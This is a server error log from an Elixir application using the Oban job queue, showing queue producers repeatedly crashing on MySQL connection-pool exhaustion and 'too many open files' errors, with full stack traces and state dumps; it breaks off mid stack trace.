State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:52:03.238985Z], limit: 5, uuid: "704601b6-8e9e-4052-a981-719a5ff6e9ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.238990Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33869>, refresh_timer: #Reference<0.2525715032.1068498948.33857>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:52:03.241475Z], limit: 20, uuid: "f82a429b-f80c-4a39-826e-3b5b646cb701", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.241481Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33882>, refresh_timer: #Reference<0.2525715032.1099431938.35394>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:52:03.238639Z], limit: 3, uuid: "a29333d7-daa9-47ff-83d8-2d56ba27431c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.238645Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33870>, refresh_timer: #Reference<0.2525715032.1068498948.33838>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:52:03.237813Z], limit: 10, uuid: "869a99eb-4099-4c2b-9e6b-c81bc020c96c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:03.237823Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33871>, refresh_timer: #Reference<0.2525715032.1121189889.142172>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:15.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:16.217000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:18.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:24.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:26.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:26.925000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:52:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:52:15.238979Z], limit: 5, uuid: "12736201-cda9-4b61-bed8-b5f96385b4db", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.238988Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34092>, refresh_timer: #Reference<0.2525715032.1099431938.35534>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:52:15.241212Z], limit: 20, uuid: "1bf63a0a-0c86-4ee3-a594-70321f2f39c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.241218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34089>, refresh_timer: #Reference<0.2525715032.1121189889.142351>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:52:15.241548Z], limit: 50, uuid: "ab3d900e-b0d3-4e73-8b88-9f9fa437acb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.241554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34093>, refresh_timer: #Reference<0.2525715032.1099431938.35535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:52:15.241772Z], limit: 3, uuid: "16a26b53-26ad-4747-9108-db52db0b2dfe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.241778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34094>, refresh_timer: #Reference<0.2525715032.1099431938.35549>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:52:15.241541Z], limit: 10, uuid: "2468f7b7-972b-40b3-9639-2df9515864d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:15.241547Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.34090>, refresh_timer: #Reference<0.2525715032.1121189889.142353>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:52:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
